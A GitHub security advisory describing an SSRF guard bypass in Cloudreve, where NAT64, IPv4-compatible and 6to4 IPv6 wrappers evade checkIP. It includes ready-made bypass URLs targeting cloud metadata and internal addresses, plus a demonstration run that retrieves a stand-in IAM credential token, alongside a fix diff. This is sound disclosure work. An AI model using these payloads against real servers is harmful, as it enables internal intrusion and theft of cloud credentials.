GitHub Advisoryadvisory · Go

GHSA-jvh5-97xg-v99f Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses

MEDIUM Published 2026-09-22 Modified 2026-09-22 Official page ↗
Aliases
CVE-2026-79913
Ecosystem
Go
Packages
github.com/cloudreve/Cloudreve/v4
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-697, CWE-918
Reviewed
2026-09-22

Affected packages

• Go github.com/cloudreve/Cloudreve/v4: < 4.0.0-20260715072853-1c5cad6dec7e → fixed in 4.0.0-20260715072853-1c5cad6dec7e

Description

Summary Cloudreve's server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go's `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services. Affected component and versions • Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`). • Affected: Cloudreve ` 169.254.169.254 (cloud metadata) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ [ACCEPTED] NAT64 -> 127.0.0.1 (loopback) http://[64:ff9b::7f00:1]/ [ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918) http://[64:ff9b::a00:1]/ [ACCEPTED] IPv4-compatible -> 169.254.169.254 http://[::a9fe:a9fe]/latest/meta-data/ [ACCEPTED] IPv4-compatible -> 127.0.0.1 http://[::7f00:1]/ [ACCEPTED] 6to4 -> encodes 169.254.169.254 http://[2002:a9fe:a9fe::]/ [BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block) http://[::ffff:127.0.0.1]/ -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block) http://[::ffff:169.254.169.254]/ -> link-local address 169.254.169.254: URL is not allowed [ACCEPTED] public 1.1.1.1 (CONTROL, should pass) http://1.1.1.1/ SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6 ``` Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified. ``` [*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569 [*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9 [*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/ [*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254) [+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL. checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug) [+] FETCH REACHED THE INTERNAL SERVER. HTTP 200 [+] Response body (exfiltrated internal secret): iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9 [RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP, fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200. ``` Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass): ``` === Cloudreve guard WITH FIX applied === [BLOCKED ] NAT64 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] NAT64 -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] NAT64 -> 10.0.0.1 -> private address 10.0.0.1: URL is not allowed [BLOCKED ] IPv4-compatible -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] IPv4-compatible -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] 6to4 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] IPv4-mapped -> 127.0.0.1 (control) -> loopback address 127.0.0.1: URL is not allowed [ACCEPTED] public 1.1.1.1 (control, should PASS) [ACCEPTED] public 8.8.8.8 (control, should PASS) Remaining bypasses after fix: 0 (expect 0) ``` Impact An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity. Suggested fix Canonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch: ```diff --- a/pkg/request/ssrf.go +++ b/pkg/request/ssrf.go @@ func checkIPWithAllowlist ... return checkIP(ip) } + +// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the +// packet ultimately reaches, so checkIP classifies the real target rather than +// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped +// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052), …

Related

Alias · CVE (1)

  • CVE-2026-79913 Cloudreve is a self-hosted file management and sharing system. vulnerability

Weakness · CWE (2)

  • CWE-697 Incorrect Comparison weakness
  • CWE-918 Server-Side Request Forgery weakness

References